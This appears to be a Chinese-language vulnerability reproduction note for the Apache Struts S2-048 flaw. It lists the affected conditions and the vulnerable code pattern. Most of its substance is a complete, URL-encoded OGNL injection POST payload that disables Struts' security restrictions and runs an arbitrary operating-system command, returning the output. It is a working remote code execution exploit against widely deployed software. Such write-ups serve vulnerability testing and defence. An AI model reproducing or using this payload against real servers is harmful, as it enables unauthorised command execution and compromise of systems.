Struts 2.3.x
此外需要满足下面的条件：
-
调用非默认插件 struts2-struts1-plugin.jar
-
代码中创建 ActionMessage 对象使用 字符串拼接的形式，如下：
messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));
漏洞环境使用 Struts-2.3.32 版本 的 showcase 应用
Py 脚本验证 (poc.py)
/py-poc.png)
Forefox Hackbar 验证：
POST 数据包：
age=1&cmd=echo Affected by S2-048&__checkbox_bustedBefore=true&name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%23parameters.cmd%5B0%5D%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&description=test
结果：
/firefox-poc.png)